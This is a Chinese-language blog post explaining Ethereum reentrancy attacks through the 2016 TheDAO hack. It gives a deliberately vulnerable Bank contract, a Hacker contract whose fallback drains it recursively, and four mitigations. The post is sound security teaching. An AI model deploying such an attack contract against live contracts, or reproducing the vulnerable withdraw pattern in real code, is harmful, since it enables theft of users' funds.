Xinmin's Blog
AdminRSS
全部AIDeFiSolidity以太坊公链实战区块链行业观察
Admin
RSS

【以太坊】聊聊智能合约的重入攻击

以太坊·2025年3月13日·1 次阅读·约 10 分钟
© 2026·

重入攻击是个啥玩意儿?

先打个生活中的比方:

你去ATM取钱,机器有个Bug:先吐出100块现金,然后才扣你账户的钱。正常人拿了钱就走,但如果你手速够快,在它扣款前又按了一次“取款”,机器可能又吐100块给你。你多按几次,账户还没扣款,就已经被你取了好几百。这就跟重入攻击差不多:ATM(智能合约)先干活(吐钱),你在它记账(扣款)前反复操作,把钱“偷”走。

重入攻击的核心就是利用“先做事、后记账”的顺序问题,在账本更新前反复“薅羊毛”。在智能合约里,“做事”通常是转账ETH,“记账”是更新余额。只要顺序不对,攻击者就能钻空子。所以写代码时,得先把账算清楚,再干别的,别给坏人留机会!

在区块链的世界里,智能合约就像个自动执行的“机器人”,规则写好了没人能改,多酷啊!但如果代码有漏洞,后果可就惨了。2016年的TheDAO事件就是个血淋淋的例子,不仅丢了几百万美元的ETH,还把以太坊社区搞分裂了。今天我们就来聊聊重入攻击,看看它咋发生的,又该咋防。

重入攻击引发的“血案”

起因:一个大胆的实验

TheDAO是个去中心化自治组织,简单说就是个“众筹投资平台”。你投ETH进去,换成DAO代币,然后大家投票决定把钱投给啥项目,有点像区块链版的“投资俱乐部”。2016年,TheDAO刚上线就吸金1.5亿美金的ETH(当时占以太坊流通量的14%),一时风头无两。 可这么大一笔钱全靠智能合约管,代码安全吗?

经过:漏洞被榨干

2016年6月,一个攻击者发现了TheDAO的漏洞,用“重入攻击”几小时内偷走了360万ETH(当时值6000万美元)。问题出在splitDAO函数,这函数本是让用户退出组织、拿回ETH用的,但逻辑有毛病:先把ETH转给用户,再更新余额。攻击者抓住这个空子,反复调用splitDAO,在余额清零前把钱掏空。

影响:社区大分裂

TheDAO被偷后,以太坊社区炸开了锅。有人说:“区块链不是不可改吗?丢了就认了吧。”但更多人觉得不能便宜了攻击者。于是,以太坊基金会搞了个“硬分叉”,回滚交易把钱还回去。这招救回了资金,可也惹恼了一部分人,他们坚持“不改规则”,继续维护老链,成了后来的以太坊经典(ETC)。新链叫ETH,从此一分为二,重入攻击也成了安全史上绕不过去的坎。

“血案”现场

想看原版代码?戳这里:

https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code

重点看splitDAO和withdrawRewardFor函数。

致命一击在这行:

if (_recipient.call.value(_amount)()) {

这行代码用call函数给_recipient转账_amount的ETH,结果触发了接收方的fallback函数。攻击者在这儿动手脚,在余额更新前反复调用splitDAO,把钱偷光。

还原现场

我们用个简单例子还原一下攻击过程,看看是咋回事?

漏洞合约(Bank.sol)

contract Bank {
    mapping (address => uint) public balances;

    // 存钱
    function deposit() public payable {
        balances[msg.sender] = msg.value;
    }

    // 取钱(有坑)
    function withdraw() public {
        if (!msg.sender.call.value(balances[msg.sender])()) { // 这行就是坑
            revert();
        }
        balances[msg.sender] = 0; // 取完清零
    }
}

问题在哪? 先转账后清零,攻击者能在清零前多取几次钱。

攻击合约(Hacker.sol)

contract Hacker {
    Bank public bank;

    constructor(address _bank) public {
        bank = Bank(_bank);
    }

    // 攻击入口
    function attack() public payable {
        bank.deposit.value(msg.value)(); // 先存点钱
        bank.withdraw();                 // 再取钱
    }

    // 收到钱时自动触发
    function() public payable {
        if (address(bank).balance >= msg.value) { // Bank还有钱就继续取
            bank.withdraw();
        }
    }
}

攻击步骤

  1. TheDAO项目(假设是Bank合约)上线,里面众筹了很多投资者的钱。
  2. 黑客部署Hacker合约,调用attack,先存点ETH(比如5 ETH),然后取钱。
  3. Bank的withdraw转账时触发Hacker的fallback,再调用withdraw,反复取钱,直到把Bank掏空。

image.png

被攻击的本质原因

从技术角度看,重入攻击的根源在于外部调用的状态管理不当。具体来说:

  • 逻辑顺序错误:withdraw函数先通过call执行外部转账,再更新余额。这给了攻击者窗口期,在余额清零前反复操作。
  • call的低级特性:call是个低级调用函数,会把大量gas(默认剩余全部gas)交给被调用方,还允许对方跑任意代码。攻击者靠这个在fallback里递归调用withdraw。
  • 缺乏重入保护:TheDAO用的早期Solidity版本(0.4.x)没内置防重入机制,开发者得自己防着点。但Bank没限制递归调用,攻击者就能无限“插队”偷钱。 本质上,这是开发时没算准外部调用的风险,加上状态和交互顺序没搞对,才让攻击得手。

怎么防重入攻击?

知道坑在哪,我们就得填上。以下是四招实用办法:

1. 先改状态,再调用

function withdraw() public {
    uint amount = balances[msg.sender];
    balances[msg.sender] = 0; // 先清零
    if (!msg.sender.call.value(amount)()) {
        revert();
    }
}

先把账记好再转账,就算攻击者重入也没钱可拿。

2. 加把锁

bool private locked;
modifier noReentrancy() {
    require(!locked, "别重入了!");
    locked = true;
    _;
    locked = false;
}
function withdraw() public noReentrancy { /* ... */ }

锁上门,攻击者想再进来也没辙。或者直接用OpenZeppelin的ReentrancyGuard,省事又安全。

3. 用transfer或send换掉call

call太“豪放”,给的gas太多,攻击者能搞乱。换成transfer或send,只给2300 gas,限制了fallback的发挥。不过得注意,gas不够时转账会失败,合约得做好失败处理。

4. 升级Solidity版本

Solidity 0.8.0之后,call失败会自动报错,不用自己写一堆检查。配合现成的安全库,防重入更省心。

总结

重入攻击说白了,就是“先做事、后记账”惹的祸。TheDAO事件给我们敲了个警钟:智能合约再牛,逻辑有漏洞也能翻车。尤其在“真金白银”的场景里,多留个心眼总没错!


继续阅读

基于全文检索与主题相似度

以太坊2025年3月15日

【以太坊】聊聊智能合约的时间戳依赖攻击

说在前面 生活中,我们习惯了依赖时间来安排一切。闹钟提醒我们起床,高铁准点发车,考试到点交卷,股票交易精确到毫秒撮合…… 在 Web2 世界里,软件系统同样靠精准的时间戳来自动执行任务,比如定时扣款、会员到期、订单结算,这一切都建立在可信的时间基础上。但到了 Web3 世界里,时间居然能被“调表”!

以太坊2025年3月14日

【以太坊】聊聊智能合约的0转账钓鱼攻击

0转账钓鱼攻击是个啥? 0转账钓鱼攻击(Zero Transfer Phishing Attack)是一种简单却阴险的骗术,虽然技术含量不高,但在币圈屡屡得手,甚至酿成过惊天大案(见下文)。 每次听说这种攻击得逞,连我都忍不住暗想:这黑客咋不是我呢? 先打个生活中的比方: 假设你和好友张三经常通过银

以太坊2025年3月14日

【以太坊】聊聊智能合约的Permit2钓鱼攻击

说在前面 玩过币的人都知道,ERC20是以太坊上一个常见的代币标准(支持钱包交易交互),里面有个类似开支票的功能——approve授权和transferFrom转账兑现。 如同现实生活中你给人开了一张支票,写上金额,对方拿着支票去银行就能把钱取走。你账户里的钱少了,他的账户里钱多了。 在智能合约里,